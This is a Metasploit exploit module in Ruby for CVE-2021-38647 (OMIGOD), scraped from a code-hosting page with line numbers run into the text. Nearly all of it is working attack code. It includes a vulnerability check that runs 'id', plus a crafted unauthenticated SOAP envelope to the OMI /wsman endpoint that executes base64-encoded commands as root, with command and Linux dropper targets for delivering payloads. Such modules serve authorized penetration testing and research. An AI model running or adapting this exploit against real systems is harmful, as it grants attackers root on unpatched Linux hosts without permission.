Path: blob/master/modules/exploits/linux/misc/cve_2021_38647_omigod.rb
32939 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager1213XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Microsoft OMI Management Interface Authentication Bypass',20'Description' => %q{21By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint22that will cause it to execute an operating system command as the root user. This vulnerability was patched in23OMI version 1.6.8-1 (released September 8th 2021).24},25'Author' => [26'Nir Ohfeld', # vulnerability discovery & research27'Shir Tamari', # vulnerability discovery & research28'Spencer McIntyre', # metasploit module29'wvu' # vulnerability research30],31'References' => [32['CVE', '2021-38647'],33['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],34['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],35['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],36['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']37],38'DisclosureDate' => '2021-09-14',39'License' => MSF_LICENSE,40'Privileged' => true,41'Targets' => [42[43'Unix Command',44{45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Type' => :unix_cmd48}49],50[51'Linux Dropper',52{53'Platform' => 'linux',54'Arch' => [ARCH_X86, ARCH_X64],55'Type' => :linux_dropper56}57]58],59'DefaultTarget' => 1,60'DefaultOptions' => {61'RPORT' => 5985,62'SSL' => false,63'MeterpreterTryToFork' => true64},65'Notes' => {66'AKA' => ['OMIGOD'],67'Stability' => [CRASH_SAFE],68'Reliability' => [REPEATABLE_SESSION],69'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]70}71)72)7374register_options([75OptString.new('TARGETURI', [true, 'Base path', '/wsman'])76])77end7879def check80http_res = send_command('id')81return CheckCode::Unknown if http_res.nil?82return CheckCode::Safe unless http_res.code == 2008384cmd_res = parse_response(http_res)85return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\d+)\(\S+\) /8687return CheckCode::Vulnerable("Command executed as uid #{Regexp.last_match(1)}.")88end8990def exploit91print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")9293case target['Type']94when :unix_cmd95result = execute_command(payload.encoded)96if result97print_status(result[:stdout]) unless result[:stdout].blank?98print_error(result[:stderr]) unless result[:stderr].blank?99end100when :linux_dropper101execute_cmdstager102end103end104105def execute_command(cmd, _opts = {})106vprint_status("Executing command: #{cmd}")107res = send_command(cmd)108109unless res && res.code == 200110fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")111end112113parse_response(res)114end115116def parse_response(res)117return nil unless res&.code == 200118119return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i120unless return_code == 0121print_error("Failed to execute command: #{cmd} (status: #{return_code})")122end123124{125return_code: return_code,126stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,127stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content128}129end130131def send_command(cmd)132send_request_cgi(133'method' => 'POST',134'uri' => normalize_uri(target_uri.path),135'ctype' => 'text/xml;charset=UTF-8',136'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)137<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">138<s:Header>139<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>140<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>141<a:ReplyTo>142<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>143</a:ReplyTo>144<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>145<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>146<a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>147<w:OperationTimeout>PT1M30S</w:OperationTimeout>148<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>149<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>150<w:OptionSet s:mustUnderstand="true"/>151<w:SelectorSet>152<w:Selector Name="__cimnamespace">root/scx</w:Selector>153</w:SelectorSet>154</s:Header>155<s:Body>156<p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">157<p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>158<p:Arguments/>159<p:timeout>0</p:timeout>160<p:b64encoded>true</p:b64encoded>161</p:ExecuteScript_INPUT>162</s:Body>163</s:Envelope>164ENVELOPE165)166end167end168169170